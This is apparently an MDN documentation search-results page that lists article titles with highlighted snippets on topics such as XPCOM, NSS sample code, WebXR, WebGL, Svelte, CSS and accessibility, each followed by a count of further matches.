from somewhere else) dependent buffers, that is, an underlying buffer that the string class does not own, but that the caller that constructed the string guarantees will outlive the string instance in addition, there is a special string class, ns[c]autostring, that additionally contains an internal 64-unit buffer (intended primarily for use on the stack), leading to a fourth ownership model: s...
... the remainder of the string classes inherit
from either nsastring or nsstring.
...And 41 more matches
HTTP Index - HTTP
a complete document is reconstructed
from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol.
...http has evolved
from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
... 8 identifying resources on the web domain, http, path, scheme, syntax, uri, url, url syntax, web,
fragment, port, query, resources the target of an http request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else.
...And 41 more matches
Web Replay
this will re
fresh the tab and start recording.
... save recording and replay on a different machine (partially implemented) recordings can be replayed on a different machine
from the one which recorded them.
...logpoints cannot have side-effects or diverge
from the recording in any othe way in this mode.
...And 39 more matches
Basic concepts behind Web Audio API - Web APIs
establish connections
from the audio sources through zero or more effects, eventually ending at the chosen destination.
... channel notation the number of audio channels available on a signal is
frequently presented in a numeric format, such as 2.0 or 5.1.
...the first number is the number of full
frequency range audio channels that the signal includes.
...And 39 more matches
Drawing graphics - Learn web development
previous overview: client-side web apis next the browser contains some very powerful graphics programming tools,
from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
...many operations need to be given coordinates to pinpoint exactly where to draw something — the top left of the canvas is point (0, 0), the horizontal (x) axis runs
from left to right, and the vertical (y) axis runs
from top to bottom.
... next, add the following lines to the bottom of your javascript: ctx.fillstyle = 'rgb(255, 0, 0)'; ctx.fillrect(50, 50, 100, 150); if you save and re
fresh, you should see a red rectangle has appeared on your canvas.
...And 38 more matches
Index - Archive of obsolete content
150 i
frame.transparent no summary!
... 424 fileguide see io 425 accessing files file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] 426 getting file information file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directori...
...es ] 427 io file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] 428 moving, copying and deleting files file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] 429 reading
from files file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working wit...
...And 37 more matches
Working with Svelte stores - Learn web development
previous overview: client-side javascript
frameworks next in the last article we completed the development of our app, finished organizing it into components, and discussed some advanced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality.
... objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, which can receive messages
from any component.
... in this case, the alert component is independent
from the rest — it is not a parent or child of any other — so the messages don't fit into the component hierarchy.
...And 37 more matches
Python binding for NSS
many methods/functions provide sane default (keyword) parameters
freeing the python programmer
from having to specify all parameters yet allowing them to be overriden when necessary.
... error codes are never returned
from methods/functions.
...depercated elements will persist for a least two releases before being removed
from the api entirely.
...And 37 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
there are earlier experiments going back a long way in developing user interfaces using a combination of html and scripting languages, and xul could be considered an evolutionary step
from that.
...xul, on the other hand, was conceived
from the ground up as a markup language for user interfaces, and makes it possible to insert ui components with sophisticated features just by writing tags, without any particular scripting.
... note: although there is a specification document, its markup is based on implementations and markup as of 2001, and current xul differs
from it in many aspects.
...And 36 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
in this article, we'll make use of information introduced in the previous articles in our webxr tutorial series to construct an example which animates a rotating cube around which the user can move
freely using a vr headset, keyboard, and/or mouse.
... screenshot of this example in action the core of this example—the spinning, textured, lighted cube—is taken
from our webgl tutorial series; namely, the penultimate article in the series, covering lighting in webgl.
...rendering the scene for immersive presentation requires multiple renders of the scene—once
from the perspective of each eye.
...And 36 more matches
StringView - Archive of obsolete content
in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes
from the data buffer.
...=== "number" && isfinite(nval) && nval > -9007199254740992 && nval < 9007199254740992 && math.floor(nval) === nval; }; } /*\ |*| |*| stringview mdndeveloper network |*| |*| revision #12, march 21st, 2017 |*| |*| https://developer.mozilla.org/add-ons/code_snippets/stringview |*| https://developer.mozilla.org/docs/user:fusionchess |*| https://github.com/madmurphy/stringview.js |*| |*| this
framework is released under the gnu lesser general public license, version 3 or later.
...awhole.subarray(nstartidx, nendidx) : awhole; } this.buffer = awhole.buffer; this.bufferview = awhole; this.rawdata = araw; object.
freeze(this); } /* constructor's methods */ stringview.loadutf8charcode = function (achars, nidx) { /* the iso 10646 view of utf-8 considers valid codepoints encoded by 1-6 bytes, * while the unicode view of utf-8 in 2003 has limited them to 1-4 bytes in order to * match utf-16's codepoints.
...And 35 more matches
Eclipse CDT
download "eclipse ide for c/c++ developers" (not eclipse ide for enterprise java developers)
from the eclipse download page, install it, and add the directory containing the eclipse binary to your path (/applications/eclipse.app/contents/eclipse/ on mac).
... express setup for the eclipse indexer to work well you must first build mozilla, so that it includes headers
from the objdir etc.
... keeping the index up-to-date as the source changes
from day-to-day, you'll want to update the index to keep the code assistance working well.
...And 35 more matches
Hacking Tips
debugging tips getting help (
from js shell) use the help function to get the list of all primitive functions of the shell with their description.
... getting the bytecode of a function (
from js shell) the shell has a small function named dis to dump the bytecode of a function with its source notes.
... js> function f () { return 1; } js> dis(f); flags: loc op ----- -- main: 00000: one 00001: return 00002: stop source notes: ofs line pc delta desc args ---- ---- ----- ------ -------- ------ 0: 1 0 [ 0] newline 1: 2 0 [ 0] colspan 2 3: 2 2 [ 2] colspan 9 getting the bytecode of a function (
from gdb) in jsopcode.cpp, a function named js::disassembleatpc can print the bytecode of a script.
...And 35 more matches
JavaScript modules - JavaScript
node.js has had this ability for a long time, and there are a number of javascript libraries and
frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel).
...ploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnode.jsimportchrome full support 61edge full support 16 full support 16 full support 15disabled disabled
from version 15: this feature is behind the experimental javascript features preference.firefox full support 60 full support 60 no support 54 — 60disabled disabled
from version 54 until version 60 (exclusive): this feature is behind the dom.modulescripts.enabled preference.
... full support 10.1webview android full support 61chrome android full support 61firefox android full support 60 full support 60 no support 54 — 60disabled disabled
from version 54 until version 60 (exclusive): this feature is behind the dom.modulescripts.enabled preference.
...And 35 more matches
nsIIOService
inherits
from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example newuri() inspects the scheme in order to delegate creation of the new uri to the appropriate protocol handler).
... note: nsiioservice may only be used
from the main thread.
...nel newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsichannel newchannel
fromuri(in nsiuri auri); obsolete since gecko 48 nsichannel newchannel
fromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long acontentpolicytype); nsichannel newchannel
fromuriwithloadinfo(in nsiuri auri, in nsiloadinfo aloadinfo); nsichannel newchannel
fr...
...And 34 more matches
Web Console remoting - Firefox Developer Tools
protocol packets look as follows: { "to": "root", "type": "listtabs" } { "
from": "root", "consoleactor": "conn0.console9", "selected": 2, "tabs": [ { "actor": "conn0.tab2", "consoleactor": "conn0.console7", "title": "", "url": "https://tbpl.mozilla.org/?tree=fx-team" }, // ...
...when you attach to the global consoleactor you receive all of the network requests, page errors, and the other events
from all of the tabs and windows, including chrome errors and network events.
... startlisteners(listeners, onresponse) the new startlisteners packet: { "to": "conn0.console9", "type": "startlisteners", "listeners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ] } the reply is: { "startedlisteners": [ "pageerror", "consoleapi", "networkactivity", "fileactivity" ], "nativeconsoleapi": true, "
from": "conn0.console9" } the reply tells which listeners were started and it includes a flag nativeconsoleapi which tells if the window.console object was overridden by the scripts in the page or not.
...And 34 more matches
WebGL best practices - Web APIs
tice, effectively all systems support at least the following: max_cube_map_texture_size: 4096 max_renderbuffer_size: 4096 max_texture_size: 4096 max_viewport_dims: [4096,4096] max_vertex_texture_image_units: 4 max_texture_image_units: 8 max_combined_texture_image_units: 8 max_vertex_attribs: 16 max_varying_vectors: 8 max_vertex_uniform_vectors: 128 max_
fragment_uniform_vectors: 64 aliased_point_size_range: [1,100] your desktop may support 16k textures, or maybe 16 texture units in the vertex shader, but most other systems don't, and content that works for you will not work for them!
... avoid invalidating fbo attachment bindings almost any change to an fbo's attachment bindings will invalidate its
framebuffer completeness.
... set up your hot
framebuffers ahead of time.
...And 34 more matches
WebGL model view projection - Web APIs
this is a 2 unit wide cube, centered at (0,0,0), and with corners that range range
from (-1,-1,-1) to (1,1,1).
...these matrices are core to moving data around on the screen, and are concepts that transcend individual
frameworks and engines.
...you may encouter that term
from time to time while researching and wokring with webgl code.
...And 34 more matches
HTML parser threading
html parser threading the html parser parses data received
from the network off the main thread.
... (there's currently one parser thread serving all parser instances.) data received
from document.write() is parsed on the main thread.
... main objects nshtml5parser contains the code for dealing with data
from document.write().
...And 33 more matches
RDF in Mozilla FAQ - Archive of obsolete content
by loading chunks of it into a xul ui
from a remote site), don't forget to let mozilla-rdf and the rdf interest group lists know.
...statements about the same rdf resource can then be intermingled: for example, the "last visit date" of a particular website comes
from the "browser global history" datasource, and the "shortcut keyword" that you can type to reach that website comes
from the "browser bookmarks" datasource.
... how do i create a datasource
from an rdf/xml file?
...And 32 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
previous overview: client-side javascript
frameworks next in the last article we added more features to our to-do list and started to organize our app into components.
... we also need to learn a bit about component lifecycle, to understand when these dom nodes get mounted and and unmounted
from the dom and how we can access them.
...put the following content into your moreactions.svelte file: <script> import { createeventdispatcher }
from 'svelte' const dispatch = createeventdispatcher() let completed = true const checkall = () => { dispatch('checkall', completed) completed = !completed } const removecompleted = () => dispatch('removecompleted') </script> <div class="btn-group"> <button type="button" class="btn btn__primary" on:click={checkall}>{completed ?
...And 32 more matches
Starting WebLock
when the notification is made, the nsiobserverservice broadcasts the notification
from the caller of the notifyobserver() to the nsiobserver object's observe() method.
...the nsiobserver is a generic interface for passing messages between two or more objects without defining a specific
frozen interface, and it's one of the ways in which extensibility is built into xpcom.
...this process is similar to using createinstance
from the nsicomponentmanager, but there is no aggregation parameter since the object has already been constructed.
...And 32 more matches
Using XPCOM Components
the cookie manager dialog this dialog is written in xul and javascript, and uses a part of xpcom called xpconnect to seamlessly connect to the cookiemanager component (see connecting to components
from the interface below).
... the nsicookiemanager interface removeall remove all cookies
from the cookie list.
... remove remove a particular cookie
from the list.
...And 32 more matches
Inputs and input sources - Web APIs
the target ray should extend outward
from between the eyes in a direction perpendicular to the viewer's face.
...this space's native origin is located at the point
from which the target ray is emitted (such as the
front tip of the controller, or the end of a gun barrel if the controller is being rendered as a gun, for example), and the space's orientation vector extends outward along the path of the target ray.
... you can easily obtain the target ray corresponding to the targetrayspace
from within the drawing handler for a given
frame using xr
frame's getpose() method.
...And 32 more matches
remote/parent - Archive of obsolete content
the sdk/remote/parent module enables you to load sdk modules into the child process to give them direct access to content
frames.
...each process can contain many
frames.
...
frame every dom page loaded as a part of the application is loaded in a content
frame.
...And 31 more matches
NSS API Guidelines
nss api guidelines newsgroup: mozilla.dev.tech.crypto introduction this document describes how the nss code is organized, the libraries that get built
from the nss sources, and guidelines for writing nss code.
... pkcs #11 lib/fortcrypt cryptint.h, fmutex.h, fortsock.h, fpkcs11.h, fpkcs11f.h, fpkcs11t.h, fpkmem.h, fpkstrs.h, genci.h, maci.h
freebl provides the api to actual cryptographic operations.
... the
freebl is a wrapper api.
...And 31 more matches
Fundamentals of WebXR - Web APIs
webxr additionally provides support for accepting inputs
from control devices such as handheld vr controllers or specialized mixed reality gamepads.
...fortunately, webgl and the various webgl-based
frameworks and libraries are available to make it much easier to deal with all of that.
... how is webxr different
from webvr?
...And 31 more matches
JSAPI User Guide
many applications can benefit
from scripting.
... these programs can execute javascript code
from c++ using the spidermonkey api.
... hello world using the spidermonkey library to build spidermonkey
from source, see spidermonkey build documentation.
...And 30 more matches
Background Tasks API - Web APIs
the cooperative scheduling of background tasks api (also referred to as the background tasks api or simply the requestidlecallback() api) provides the ability to queue tasks to be executed automatically by the user agent when it determines that there is
free time to do so.
...this code draws any pending updates to the document currently being displayed, runs any javascript code the page needs to run, accepts events
from input devices, and dispatches those events to the elements that should receive them.
...by the time your callback is run, the current
frame has already finished drawing, and all layout updates and computations have been completed.
...And 30 more matches
Geometry and reference spaces in WebXR - Web APIs
const radians_per_degree = math.pi / 180.0; let degreestoradians = (deg) => deg * radians_per_degree; let radianstodegrees = (rad) => rad / radians_per_degree; times and durations note that for security reasons, domhighrestimestamp usually introduces a small amount of imprecision to the clock in order to prevent it
from being used in fingerprinting and timing-based attacks.
... time is primarily used to determine the amount of time that's elapsed since the scene's previous animation
frame was drawn.
... as such the time is typically in alignment with the re
fresh rate of the display, or some
fraction thereof if the
frame rate needs to be constrained due to performance issues.
...And 30 more matches
Performance fundamentals - Web Performance
responsiveness is important simply because people get
frustrated and angry when they're ignored.
...
framerate
framerate is the rate at which the system changes pixels displayed to the user.
... this is a familiar concept: everyone prefers, say, games that display 60
frames per second over ones that display 10
frames per second, even if they can't explain why.
...And 30 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
note this article is the version
from 2003 with slight modifications (no images and no links to samples).
...the single-page context and abstraction of data
from the presentation can give your web applications new continuity, precision and control.
...the first one looks like a traditional dhtml ticker application and uses hidden i
frames and javascript to provide updates inside the webpage's ticker headlines section.
...And 29 more matches
2D maze game with device orientation - Game development
in this tutorial we’ll go through the process of building an html5 mobile game that uses the device orientation and vibration apis to enhance the gameplay and is built using the phaser
framework.
... basic javascript knowledge is recommended to get the most
from this tutorial.
...it will look something like this: phaser
framework phaser is a
framework for building desktop and mobile html5 games.
...And 29 more matches
Enc Dec MAC Output Public Key as CSR
)*sizeof(unsigned int)); if (!data->data) { pr_fprintf(pr_stderr, "error while allocating memory\n"); rv = secfailure; goto cleanup; } rv = pk11_pubwrapsymkey(ckm_rsa_pkcs, pubkey, key, data); if (rv != secsuccess) { rv = secfailure; } else { *wrappedkey = data; return secsuccess; } cleanup: if (data) { secitem_
freeitem(data, pr_true); } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, p...
... pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(type, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(type, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
freeitem(secparam,...
...encryptinit(pk11symkey *ek, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(ek, iv, ivlen, type, cka_encrypt); } /* * decryptinit */ pk11context * decryptinit(pk11symkey *dk, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type) { return cryptinit(dk, iv, ivlen, type, cka_decrypt); } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char *header; char *trailer; prfiledesc *file = null; outbuf.type = sibuffer; fil...
...And 29 more matches
BiquadFilterNode - Web APIs
properties inherits properties
from its parent, audionode.
... biquadfilternode.
frequency read only is an a-rate audioparam, a double representing a
frequency in the current filtering algorithm measured in hertz (hz).
... biquadfilternode.detune read only is an a-rate audioparam representing detuning of the
frequency in cents.
...And 29 more matches
Window - Web APIs
properties this interface inherits properties
from the eventtarget interface and implements properties
from the windoworworkerglobalscope and windoweventhandlers mixins.
... window.
frameelement read only returns the element in which the window is embedded, or null if the window is not embedded.
... window.
frames read only returns an array of the sub
frames in the current window.
...And 29 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
some screen readers can even show information on a re
freshable braille display.
... myth: "msaa sucks" reality: this statement may come
from another engineer or even an employee of an at vendor.
...this information may be in the form of extensions to msaa, like mozilla has done with isimpledomnode (you can qi to it
from iaccessible).
...And 29 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
is to use netbeans (ide
from sun microsystems) and foxbeans (plugin for netbeans, by teesoft).
... create a development profile if you want to partition your everyday browsing environment
from your development environment in firefox, set up a second profile for development.
... true javascript.options.strict (present in firefox 3.5+) enforces strict error output
from javascript true table 1: preferences to set for developing extensions to make these changes, start your development profile, type about:config into firefox’s location bar and open the preferences window; find the preferences listed in table 1 and double-click on them to set them accordingly.
...And 28 more matches
Venkman Introduction - Archive of obsolete content
features such as breakpoint management, call stack inspection, and variable/object inspection are available
from the user interface and
from console commands, letting you work in the way you are most accustomed to.
...venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with venkman's /break, /step, /next, /finish, /
frame, and /where commands.
... if you don't already have venkman or would like to upgrade, you can easily get the latest version
from firefox add-ons.
...And 28 more matches
WebGL constants - Web APIs
line_strip 0x0003 passed to drawelements or drawarrays to draw a connected group of line segments
from the first vertex to the last.
...should return
front, back, or
front_and_back
front_face 0x0b46 passed to getparameter to determine the current value of
frontface.
...
front 0x0404 passed to cullface to specify that only
front faces should be culled.
...And 28 more matches
Example and tutorial: Simple synth keyboard - Web APIs
in our case, we get each key's
frequency
from a table, but it could be calculated algorithmically as well.
... let note
freq = null; let customwaveform = null; let sineterms = null; let cosineterms = null; finally, global variables that will be used when constructing waveforms are created: note
freq will be an array of arrays; each array represents one octave, each of which contains one entry for each note in that octave.
... the value for each is the
frequency, in hertz, of the note's tone.
...And 28 more matches
Using Web Workers - Web APIs
worker()) that runs a named javascript file — this file contains the code that will run in the worker thread; workers run in another global context that is different
from the current window.
...a dedicated worker is only accessible
from the script that first spawned it, whereas shared workers can be accessed
from multiple scripts.
...for example, you can't directly manipulate the dom
from inside a worker, or use some default methods and properties of the window object.
...And 28 more matches
HTML documentation index - HTML: Hypertext Markup Language
2 allowing cross-origin use of images and canvas advanced, cors, canvas, html, image, reference, security, storage, data html provides a crossorigin attribute for images that, in combination with an appropriate cors header, allows images defined by the <img> element that are loaded
from foreign origins to be used in a <canvas> as if they had been loaded
from the current origin.
...its purpose is to identify the element when linking (using a
fragment identifier), scripting, or styling (with css).
...property values are either a string or a url and can be associated with a very wide range of elements including <audio>, <embed>, <i
frame>, <img>, <link>, <object>, <source> , <track>, and <video>.
...And 28 more matches
Client-Server Overview - Learn web development
previous overview: first steps next now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request"
from a browser.
... there is no real code in the discussion because we haven't yet chosen a web
framework to use to write our code!
... this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web
framework you select.
...And 27 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
sr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key
from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename...
...(outfile, "%s\n", header); pr_fprintf(outfile, "%s\n", buf); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; break; default: return secfailure; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv = secsuccess; prfiledesc* file = null; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char *header; char *trailer; outbu...
... = ns_cert_vfy_header; trailer = ns_cert_vfy_trailer; break; case sig: header = ns_sig_header; trailer = ns_sig_trailer; break; default: rv = secfailure; goto cleanup; } rv = filetoitem(&filedata, file); nonbody = (char *)filedata.data; if (!nonbody) { pr_fprintf(pr_stderr, "unable to read data
from input file\n"); rv = secfailure; goto cleanup; } /* check for headers and trailers and remove them */ if ((body = strstr(nonbody, header)) != null) { char *trail = null; nonbody = body; body = port_strchr(body, '\n'); if (!body) body = port_strchr(nonbody, '\r'); /* maybe this is a mac file */ if (body) ...
...And 27 more matches
Shell global objects
sourceislazy if present and true, indicates that, after compilation, script source should not be cached by the js engine and should be lazily loaded
from the embedding as-needed.
... loadbytecode if true, and if the source is a cacheentryobject, the bytecode would be loaded and decoded
from the cache entry instead of being parsed, then it would be executed as usual.
... readline() read a single line
from stdin.
...And 27 more matches
Add to iPhoto
this extension for mac os x serves as a demonstration of how to use js-ctypes to call mac os x carbon, core foundation, and other system
frameworks
from an extension written entirely in javascript.
...this extension uses a number of methods and data types, as well as constants,
from three system
frameworks.
... for the sake of organization, i chose to implement each system
framework (and, mind you, i only declare the apis i actually use, not all of them) as a javascript object containing all the types and methods that
framework's api.
...And 27 more matches
Using CSS animations - CSS: Cascading Style Sheets
css animations make it possible to animate transitions
from one css style configuration to another.
... animations consist of two components, a style describing the css animation and a set of key
frames that indicate the start and end states of the animation’s style, as well as possible intermediate waypoints.
...the rendering engine can use
frame-skipping and other techniques to keep the performance as smooth as possible.
...And 27 more matches
SVG documentation index - SVG: Scalable Vector Graphics
first, each mote tries to move towards the mouse cursor, and second each mote tries to move away
from the average mote position.
... 19 accent-height deprecated, needsexample, svg, svg attribute the accent-height attribute defines the distance
from the origin to the top of accent characters, measured by a distance within the font coordinate system.
... 29 azimuth filters, svg, svg attribute the azimuth attribute specifies the direction angle for the light source on the xy plane (clockwise), in degrees
from the x axis.
...And 27 more matches
Message manager overview
at the top level, there are two different sorts of message managers:
frame message managers: these enable chrome process code to load a script into a browser
frame (essentially, a single browser tab) in the content process.
... these scripts are called
frame scripts, and as the name suggests, they are scoped to a specific browser
frame.
...
from firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process.
...And 26 more matches
NSS tools : certutil
each option may take arguments, anywhere
from none to multiple arguments.
... -b run a series of commands
from the specified batch file.
... -c create a new binary certificate file
from a binary certificate request file.
...And 26 more matches
Tracing JIT
when the monitor determines that the interpreter has entered a region of code that would benefit
from native compilation, the monitor activates the recorder.
... the recorder records the activity of the interpreter, using nanojit to build an efficient, native representation of the execution called a
fragment.
... the monitor then calls into the native code stored in the
fragment.
...And 26 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
a first look our three properties control the following aspects of a flex item's flexibility: flex-grow: how much of the positive
free space does this item get?
... flex-shrink: how much negative
free space can be removed
from this item?
...these relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of
free space.
...And 26 more matches
Client-side storage - Learn web development
storing the contents of a shopping cart
from a previous session, remembering if a user was previously logged in).
...the user would only have to download the music files once — on subsequent visits they would be retrieved
from the database instead.
...this can be used for things
from complete sets of customer records to even complex data types like audio or video files.
...And 25 more matches
CustomizableUI.jsm
this module is only available
from firefox 29 onwards.
...if you want to use it
from a jsm or another context without a window reference, you need to import it yourself: components.utils.import("resource:///modules/customizableui.jsm"); introduction the module is intended for two primary purposes: allow adding, moving and removing customizable widgets.
...however, they can now be 'overflowable', that is, if there are too many widgets to fit in the toolbar's horizontal space, the excess widgets will be placed in a panel accessible
from an anchor (chevron) in the toolbar.
...And 25 more matches
sample2
-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* missing publically
from nss versions earlier than 3.13 */ #ifndef sec_error_base #define sec_error_base (-0x2000) typedef enum { sec_error_io = sec_error_base + 0, sec_error_token_not_logged_in = (sec_error_base + 155), sec_error_end_of_list } secerrorcodes; #endif /* port_errortostring introduced in nss 3.13.
...lso)\n\n", progname, "-g -s <subject> -r <csr>"); fprintf(stderr, "%s %s\n --to input and store cert (for ca also)\n\n", progname, "-a -n <nickname> -t <trust> -c <cert> [ -r <csr> -u <issuernickname> [-x <\"\">] -m <serialnumber> ]"); fprintf(stderr, "%s %s\n --to put cert in header\n\n", progname, "-h -n <nickname> -b <headerfilename> [-v <\"\">]"); fprintf(stderr, "%s %s\n --to find public key
from cert in header and encrypt\n\n", progname, "-e -b <headerfilename> -i <ipfilename> -e <encryptfilename> "); fprintf(stderr, "%s %s\n --decrypt using corresponding private key \n\n", progname, "-d -b <headerfilename> -e <encryptfilename> -o <opfilename>"); fprintf(stderr, "%s %s\n --sign using private key \n\n", progname, "-s -b <headerfilename> -i <infilename> "); fprintf(stderr, "%s %s\n --ver...
...railer; break; case lab: header = lab_header; trailer = lab_trailer; pr_fprintf(outfile, "%s\n", header); pr_fprintf(outfile, "%s\n", buf); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; break; default: return secfailure; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * read cryptographic parameters
from the header file */ secstatus read
fromheaderfile(const char *filename, headertype type, secitem *item, prbool ishexdata) { secstatus rv = secsuccess; prfiledesc* file = null; secitem filedata; secitem outbuf; unsigned char *nonbody; unsigned char *body; char *header; char *trailer; outbuf.type = sibuffer; file = pr_open(filename, pr_rdonly, 0); if (!file) { pr_fprintf(pr_stderr, "failed to open ...
...And 25 more matches
Observer Notifications
you can cancel the shutdown
from here by setting asubject.data to true (asubject is the first parameter to your observer, the data value is an nsisupportsprbool).
... profile-before-change-qm called to shut down the quotamanager; this is separated
from profile-before-change to allow everything inside profile-before-change to continue using it.
... user-interaction-active nsidomwindow null sent once every 5000ms while this chrome document sees some kind of user activity (for example, keyboard or mouse events), and at the exact moment of the state transition
from idle to active.
...And 25 more matches
Web accessibility for seizures and physical reactions - Accessibility
it is not
frequent but it is a very real problem and people need to be aware of its risk".
...the epilepsy foundation's article, photosensitivity and seizures, provides a list of triggers that may cause seizures in photosensitive people; here's an excerpt
from that list: television screens or computer monitors due to the flicker or rolling images.
...in the article, "understanding wcag 2.0 three flashes or below threshold" notes generally that: “individuals who have photosensitive seizure disorders can have a seizure triggered by content that flashes at certain
frequencies for more than a few flashes” and goes on to note, very specifically that: “people are even more sensitive to red flashing than to other colors, so a special test is provided for saturated red flashing”.
...And 25 more matches
Style System Overview - Archive of obsolete content
1 matching rule: use value 2+ matching rules: cascade decides which wins: sort by origin (ua, user, author) & weight (!important), then specificity of selector, then order example document source <doc> <title>a few quotes</title> <para class="emph">
franklin said that <quote>"a penny saved is a penny earned."</quote> </para> <para> fdr said <quote>"we have nothing to fear but <span class="emph">fear itself.</span>"</quote> </para> </doc> example document tree doc ↙ ↓ ↘ title para class="emph" para ↓ ↓ ...
... the data format of the structs and selectors is mostly clear
from the code and not worth going into (although the implementation of :not() is confusing).
... detail: !important declarations cause an extra rule object cssimportantrule to be created since they are in a separate part of the cascade other nsistylerule implementations nshtmlmappedattributes represents stylistic html attributes turned into a style rule (one instance per unique set of attributes) bodyrule handles marginwidth/marginheight mixes on body and on
frame.
...And 24 more matches
Grids - Learn web development
they help us to create designs where elements don’t jump around or change width as we move
from page to page, providing greater consistency on our websites.
...ntainer > div { border-radius: 5px; padding: 10px; background-color: rgb(207,232,220); border: 2px solid rgb(79,185,227); } <div class="container"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> <div>six</div> <div>seven</div> </div> .container { display: grid; grid-template-columns: 200px 200px 200px; } flexible grids with the
fr unit in addition to creating grids using lengths and percentages, we can use the
fr unit to flexibly size grid rows and columns.
... this unit represents one
fraction of the available space in the grid container.
...And 24 more matches
XPCOM Stream Guide
it is not that sequence of characters, though: the characters may not all be available when you read
from the stream.
...on the other hand, we use streams to access files within a zip archive, to store and provide data coming
from websites, even to talk to other programs on the same computer through "pipes" (more on that later).
... we even have streams that take input
from other streams and transform the data within them to something more useful.
...And 24 more matches
Introduction to XPCOM for the DOM
i learned c++ by reading "c++ primer"
from stanley lippman and josee lajoie, then experimenting on the dom code.
...you do not, however, need to know all the hairy details, if you just intend to read the code or to work with the existing
framework.
